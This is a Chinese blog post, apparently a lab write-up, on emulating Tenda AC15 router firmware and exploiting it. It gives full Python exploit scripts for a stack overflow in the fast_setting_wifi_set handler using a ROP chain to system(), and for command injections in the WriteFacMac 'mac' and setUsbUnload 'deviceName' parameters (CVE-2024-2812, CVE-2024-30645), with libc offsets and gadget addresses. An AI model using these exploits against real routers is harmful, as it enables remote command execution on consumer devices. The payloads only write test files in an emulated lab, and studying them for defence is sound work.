news 2025/12/30 8:45:43

AC15启动项分析,漏洞分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
AC15启动项分析,漏洞分析

1、固件模拟

sudo chroot . sh /bin/httpd

第一个问题,监听ip有问题

我们需要配置网卡

sudo brctl addbr br0

sudo ifconfig br0 192.168.100.3

这里我们设置br0网卡,启动web

成功启动,这里监听的就是我们设置的ip

这里我们可以运行这个脚本,所需要的文件都在这个路径下,我们启动脚本

这样就直接启动了一个arm的虚拟机

下一步

ip link add br0 type dummy ifconfig eth0 192.168.100.5/24 ifconfig br0 192.168.100.6/24

我们给他添加网卡br0和eth0

我们ssh连接一下,然后启动一下httpd服务,记录一下PID,2417

驱动gdbserver,远程gdb调试

./gdbsever :1234 -attach 2417 /tmp/gdbserver)arm 192.168.0.2:1337 --attach 2417

经过了千辛万苦终于连接到了pwngdb,我们接下来查看漏洞点

from pwn import * readable_addr = 0x76dab000 + 0x64144 jump_addr = 0x56A9C payload = b'a'*(0x7c) + p32(jump_addr) url = "http://192.168.100.3/goform/fast_setting_wifi_set" cookie = {"Cookie":"password=rsvcvb"} data = {"ssid": payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data)

exp

再次分析漏洞原理

首先我们从PUSH {R4,R5,R11,LR}开栈开始入手

这里先假设sp初始值为0x1000 我们按照从右往左的顺序入栈 //SUB SP,SP,#0X270 0x270 <-sp //ADD R11,sp,#0xc 0xff0 R4 <-sp现在位置 0xff4 R5 0xff8 R11 0xffc LR 0x1000 旧sp 所以我们第一个ADD操作,就是R4+0xc,也就是0xffc位置,也就是保存到我们LR返回地址 接着就是开栈为局部变量分配内存空间

IDA移动到该函数上面,可知s值为-0x7c,src值为-0x1c

所以上图的SUB R2,R11,#-s操作就是SUB R2=R11-0X7c

同样的LDR R3,[R11,#src]等价于LDR R3,[R11-0X1C]

关键在于payload构造

我们需要将函数返回地址覆盖,即将栈帧图中LR的数据覆盖掉的话,我们的payload给构造形式:

payload = b'a'*(0x7c) + p32(跳转地址)

但是这里因为src指针被覆盖掉,指向的内存出现问题会导致异常,所以我们拆分构造payload即可

b'a'*(0x6c) +p32(可正常访问地址,不超过64字节) + b'b'*(0x1c-4) + p32(目标跳转地址)

我们输入这个脚本,程序崩了

我们payload = b'a'* (0x60) + p32(readable_addr) + b'b'*(0x20-8)

所以,因为strcpy在遇到x00时会截断,所以这个readable_addr需要在libc库里找

因为这个库加载顺序比较靠前,所以他的程序基址会比较大,从而可读字符串的地址也会比较大,这样覆盖payload就不会因为地址里面有00被截断,我们在libc.so.0中的0x64144找到一个字符串HOME,我们用gdb调试的过程中用vmmap查看libc.so.0的基地址

我们基地址也找到了,0x76e10000,所以readable_addr地址就是0x76e10000+0x64144

再再再次构造exp

import requests from pwn import * libc_base = 0x76d7e000 readable_addr = libc_base + 0x64144 jump_addr = 0x56A9C payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8) + p32(jump_addr) url = "http://192.168.0.3/goform/fast_setting_wifi_set" cookie = {"Cookie":"password=12345"} data = {"ssid": payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data)

这里我们的一些环境版有问题,修改脚本

看下是否跳转到我们设置的地址

我们接着往下走,看到了此时R2存储内容

这里看到了是我们存入的函数入口,然后再把函数R11压入栈。

确实跳转了,但是他跳转到了我们(readable_addr)函数位置,并且出不去了

这次我们重新尝试一遍,我们设置以下断点来查看程序进展

到了这里就无法继续下去了,这里就是向R1也就是0x766e74144地址读取字符串,就是我们中间想填充的,我们重新找下地址

这里是第一个strcpy,我们能看到R2已经存了我们的exp填入的值了,那我们就看pop能不能到我们的新的地址了,接着往第二个strcpy走

这是我们填充的值,就是字符串HOME

接着这就是第二个strcpy函数,我们关注pop能不能到我们设定的函数地址去

跳转成功了,接下来我们构造ROP链

我们找libc.so.0这里的库有没有要用的指令段

找下ROP链,我们跳转的push {fp,lr}只有一个可控的

我们需要调用system,而system所需参数是一个字符串,即一个char*类型的指针(R0)

我们想办法去找类似于MOV rEGISTER,sp的操作,最好接着直接跳到我们目标地址,然后再去构造将寄存器参数交给R0,最后调用system即可成达到RCE

根据上面的想法,还需要注意的一点是,MOV Register,sp之后如果像直接跳转到某个地址,不能说POP pc这种,因为他是栈上取数据的,而上面需要构造的MOV Regsiter,sp既要从栈上获取字符串,又要让栈上有跳转地址这种方案肯定不可取。

那么跳转指令只能考虑BLX Register这种操作,根据上面思路检索

这里我们选取0x00049c64这个地址

这里以我自己的话来讲就是,我们希望通过栈溢出和ROP来指向一个系统命令。比如system()函数,用来执行我们控制的命令

这里还有这样一段代码,就是把p

如何实现:

1、栈溢出,通过输入大量数据覆盖栈上的返回地址

2、ROP链,利用溢出的数据构造一个ROP链,让程序跳转到我们指定的地址并执行目标函数

关键步骤:

1、通过mov r0,sp设置r0:将栈指针sp的值(栈上的数据)加载到r0寄存器中,system()函数需要的参数是一个指向命令字符串的指针(即char*),我们将命令字符串放在栈上,r0就指向这个字符串

2、通过blx r3跳转到system():我们需要将r3寄存器设置为system()函数地址,blx r3会跳转到r3指向的地址并执行代码

3、找到合适的指令:我们可以使用类似于pop {r3,pc}指令,就可以从栈上提取出system()函数的地址,并跳转执行

最后的ROP链,构造system()地址的指令,执行system()通过mov,sp; blx r3;将栈指针存放命令的字符串,然后跳转到system(),执行指令

总结:MOV r0,sp:将栈上的命令字符串地址传给system()函数

BLX r3:跳转到r3寄存器存储的地址(system())

ROP链:通过站上的溢出数据来控制程序的执行,最终让程序执行我们想要的命令

1、逻辑串联起来就是选择pop {r3,lr}

这里的作用是给R3赋值然后lr存储跳转地址。R3(例如system()地址),LR会被设置为下一关跳转点,我们控制链的下一个地址

2、为了执行命令,我们需要将命令的字符串地址放入R0

设置R0为命令,我们需要将命令字符串地址放入R0寄存器中,因为在ARM中,R0是系统调用(如system的第一个参数),通过栈溢出,我们可以控制R0寄存器,将其设置为栈上存储的命令字符串地址

ROP构造:

假设我们执行/bin/sh

pop{r3,lr}

  • pop {r3, lr}
  • R3存储system()的地址。
  • LR存储mov r0, sp; blx r3的地址。
  • mov r0, sp
  • 栈上有命令/bin/shsp指向它,r0通过这条指令将其传递给system()
  • blx r3
  • 执行system(),并执行/bin/sh

第一个地址,选取pop链地址

ROPgadget --binary libc.so.0 --only pop 0x00018298 : pop {r3, pc} //pop地址

第二个地址,接着来找我们的几个地址,我们要找system()函数地址

0x0005A270 //system()地址

第三个地址就是我们要构造命令执行的地址,也就是MOV R0,SP;BLX R3地址,这里我们查找需要使用ROPgadget工具,然后再筛选

ROPgadget --binary libc.so.0 | grep "mov r0, sp"

我们需要自己去查找

就这样去找MOV R0,SP的地址,我们记录下来

0x00049C64 //MOV R0,SP地址

ok,我们的偏移量都找全了,接下来就是构造payload了

import requests from pwn import * target_ip = "192.168.100.6" //目标ip target_port = 1234 //开放端口 libc_base = 0x76dab000 //libc库基地址 readable_addr = libc_base + 0x64144 #string 'HOME' //我们在libc库中填充字符串的地址 system_offset = 0x0005A270 //system的偏移,以libc为基地址 mov_r0_sp__blx_r3__offset = 0x00049C64 //mov_r0_sp__blx_r3__offset偏移 pop_r3_pc_offset = 0x00018298 //r3,pc偏移,pop偏移地址 cat = b'ps>proc_info.txt' //cmd执行的命令 payload = b'a' * (0x60) + p32(readable_addr) + b'b' * (0x1c-4) payload += p32(libc_base + pop_r3_pc_offset) payload += p32(libc_base + system_offset) + payload +=p32(libc_base + mov_r0_sp__blx_r3__offset) + cmd url = f"http://{target_ip}/goform/fast_setting_wifi_set" cookie = {"cookie": "password=qpacvb"} data = {"ssid": payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data)

这里我们创建一个proc_info.txt的文件

然后执行脚本

import requests from pwn import * target_ip = "192.168.100.6" target_port = 80 libc_base = 0x76dab000 readable_addr = libc_base + 0x64144 #string 'HOME' system_offset = 0x0005A270 mov_r0_sp__blx_r3__offset = 0x00049C64 pop_r3_pc_offset = 0x00018298 cmd = b'ps>/tmp/proc_info.txt' payload = b'a' * (0x60) + p32(readable_addr) + b'b' * (0x1c-4) payload += p32(libc_base + pop_r3_pc_offset) payload += p32(libc_base + system_offset) payload += p32(libc_base + mov_r0_sp__blx_r3__offset) + cmd url = f"http://{target_ip}/goform/fast_setting_wifi_set" cookie = {"cookie": "password=bem5gk"} data = {"ssid": payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data)

执行完,看看结果。

结果是这样

注入点所在位置

一定要注意到这个ssid就是我们要注入的参数,也能看到我们的src是经过sub_2BA8C函数处理过的

2、CVE-2024-2812

我们先看漏洞描述,尝试自己找一下漏洞点

漏洞描述:Tenda AC15 15.03.05.18/15.03.20_multi 中发现漏洞。它已被归类为关键。 这会影响文件 /goform/WriteFacMac 的函数 formWriteFacMac。 对参数 mac 的操作会导致操作系统命令注入。可以远程发起攻击。

会影响文件/goform/WriteFacMac的函数formwriteFacMac,我们定位一下函数

成功定位到该函数,里面有一个参数a1,然后一个指针v3,我们过一遍逻辑

sub_2BA8C(a1, "mac", "00:01:02:11:22:33") web表单参数获取函数,从HTTP请求中找mac参数,如果用户没有提交该参数,用默认值,就是第三个参数 doSystemCmd("cfm mac %s", v3); cfm是路由器常用后台命令工具,cmf mac 00:xx:xx....会把设备出场的MAC地址直接改写,这个操作是永久性的 这个后门函数就是不需要密码,任意修改设备出产MAC包括命令执行

漏洞点应该在于没过滤就直接拼接了字符串然后执行doSystemCmd了

其实这里就可以当作一个注入漏洞来做了,拼接一下

doSystemCmd("cfm mac %s", v3); doSystemCmd("cfm mac ";echo 1 > /tmp/proc.txt");

其实我们控制的是v3,把v3改成我们要拼接的命令即可

我们在这个函数入口下一个断点,pop位置也下一个断点

我们再使用pwngbd连接一下,然后打一下exp

import requests from pwn import* ip = "192.168.100.6" url = "http://" + ip + "/goform/WriteFacMac" payload = ";echo 1 > proc.txt" data = {"mac": payload} cookie = {"cookie": "password=bem5gk"} response = requests.post(url, cookies=cookie,data=data) print(response.text)

第二个也成功了

我们要确定参数一定要看函数使用方法

这个CVE的参数就在函数的使用方法中,这个就是我们要注入的参数

第三个CVE-2024-30645

我们要找注入点要看参数,这里的参数就是deviceName

我们构造exp

import requests from pwn import* target_ip = "192.168.100.6" url = "http://" + target_ip + "/goform/setUsbUnload" payload = ";echo 888 > ./webroot/666.txt" data = {"deviceName": payload} cookie = {"cookie": "password=zzf5gk"} requests.post(url,cookies=cookie,data=data) requests.post(url,cookies=cookie,data=data) confir_url =f"http://"+ target_ip +"/666.txt" r = requests.get(confir_url) print(r.text)

构造exp的时候,有些细节要注意,我们这个文件路径是/goform/setUsbUnload

然后我们的注入点是deviceName,cookie要换成自己的即可

import requests from pwn import * target_ip = "192.168.100.6" url = "http://" + target_ip + "/goform/setUsbUnload" payload = ";echo 123 > ./webroot/nb666.txt" data = {"deviceName":payload} cookie = {"cookie": "password=zzf5gk"} requests.post(url,cookies=cookie,data=data) requests.post(url,cookies=cookie,data=data) confir_url ="http://"+ target_ip + "/nb666.txt" r = requests.get(confir_url) print(r.text)

成功

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2025/12/14 21:50:28

二、python语法基础

一、前言与概述前面了解了python安装以及环境的准备&#xff0c;下面是关于python语法基础的一个概要&#xff1a;二、语法内容&#xff08;一&#xff09;、基础语法开始之前&#xff1a;注释代码# 单行注释 """ 多行注释 """多行注释 1、变量与…

作者头像 李华
网站建设 2025/12/26 11:24:49

2025动漫剧本推荐,无需成本轻松创作

2025动漫剧本推荐&#xff0c;无需成本轻松创作动漫作为一种深受大众喜爱的艺术形式&#xff0c;拥有着庞大的受众群体。而一个优秀的动漫剧本&#xff0c;则是动漫作品成功的关键。在2025年&#xff0c;有哪些值得推荐的动漫剧本创作工具呢&#xff1f;本文将为您介绍一款无需…

作者头像 李华
网站建设 2025/12/14 21:38:54

Linux 进程管理

在 Linux C/C 开发中&#xff0c;进程管理是系统编程的核心知识点之一。从父子进程的创建、进程的终止到僵尸进程的避免&#xff0c;每一个环节都影响着程序的稳定性。本文将从基础概念到实践代码&#xff0c;详细讲解 Linux 进程管理的关键技术。一、父子进程&#xff1a;写时…

作者头像 李华
网站建设 2025/12/14 21:31:49

JS函数语法(重点)

函数声明&#xff08;命名函数&#xff09;语法&#xff1a;function 函数名(参数) { 函数体; return 返回值 }// 求和函数 function sum(a, b) {return a b; // 返回值&#xff0c;无 return 则返回 undefined }// 调用函数 let result sum(1, 2); console.log(result); // …

作者头像 李华
网站建设 2025/12/14 21:28:34

SpringMVC的拦截器和过滤器有什么区别?执行顺序?

大家好&#xff0c;我是锋哥。今天分享关于【SpringMVC的拦截器和过滤器有什么区别&#xff1f;执行顺序&#xff1f;】面试题。希望对大家有帮助&#xff1b; SpringMVC的拦截器和过滤器有什么区别&#xff1f;执行顺序&#xff1f; 超硬核AI学习资料&#xff0c;现在永久免费…

作者头像 李华
网站建设 2025/12/14 21:27:52

Vue3 实时音频录制与转写 Composable 技术实现

Vue3 实时音频录制与转写 Composable 技术实现 前言 本文介绍如何基于 Vue3 Composition API 实现一个实时音频录制与转写的 Composable&#xff0c;涉及 Web Audio API、WebSocket 实时通信、音频格式转换等技术。 技术栈 Vue3 Composition API: 组合式函数封装MediaRecorder …

作者头像 李华